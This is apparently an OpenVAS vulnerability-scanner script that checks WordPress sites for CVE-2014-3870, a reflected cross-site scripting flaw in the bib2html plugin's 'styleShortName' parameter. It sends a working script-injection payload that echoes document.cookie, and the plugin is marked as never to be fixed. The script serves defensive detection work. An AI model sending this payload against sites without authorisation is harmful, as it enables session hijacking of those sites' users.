WordPress bib2html 'styleShortName' Cross Site Scripting Vulnerability

2014-06-02T00:00:00
ID OPENVAS:1361412562310804592
Type openvas
Reporter Copyright (C) 2014 Greenbone Networks GmbH
Modified 2020-02-26T00:00:00

Description

This host is installed with WordPress bib2html Plugin and is prone to cross site scripting vulnerability.

                                        
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# OpenVAS Vulnerability Test
#
# WordPress bib2html 'styleShortName' Cross Site Scripting Vulnerability
#
# Authors:
# Thanga Prakash S <tprakash@secpod.com>
#
# Copyright:
# Copyright (C) 2014 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804592");
  script_version("2020-02-26T12:57:19+0000");
  script_cve_id("CVE-2014-3870");
  script_bugtraq_id(67589);
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2020-02-26 12:57:19 +0000 (Wed, 26 Feb 2020)");
  script_tag(name:"creation_date", value:"2014-06-02 15:00:13 +0530 (Mon, 02 Jun 2014)");
  script_name("WordPress bib2html 'styleShortName' Cross Site Scripting Vulnerability");

  script_tag(name:"summary", value:"This host is installed with WordPress bib2html Plugin and is prone to
  cross site scripting vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request and check whether it is able to read
  cookie or not.");

  script_tag(name:"insight", value:"Input passed via the 'styleShortName' HTTP GET parameter to /OSBiB/create/index.php
  script is not properly sanitised before returning to the user.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary HTML and
script code in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"WordPress bib2html Plugin version 0.9.3, Other versions may also be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_xref(name:"URL", value:"http://1337day.com/exploit/22281");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/126782");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2014 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("secpod_wordpress_detect_900182.nasl");
  script_mandatory_keys("wordpress/installed");
  script_require_ports("Services/www", 80);
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!http_port = get_app_port(cpe:CPE)){
  exit(0);
}

if(!dir = get_app_location(cpe:CPE, port:http_port)){
  exit(0);
}

url = dir + '/wp-content/plugins/bib2html/OSBiB/create/index.php?'
          + 'action=adminStyleAdd&styleShortName="/><script>'
          + 'alert(document.cookie);</script>';

if(http_vuln_check(port:http_port, url:url, check_header:TRUE,
   pattern:"<script>alert\(document\.cookie\);</script>",
   extra_check:">OSBib-Create<"))
{
  security_message(http_port);
  exit(0);
}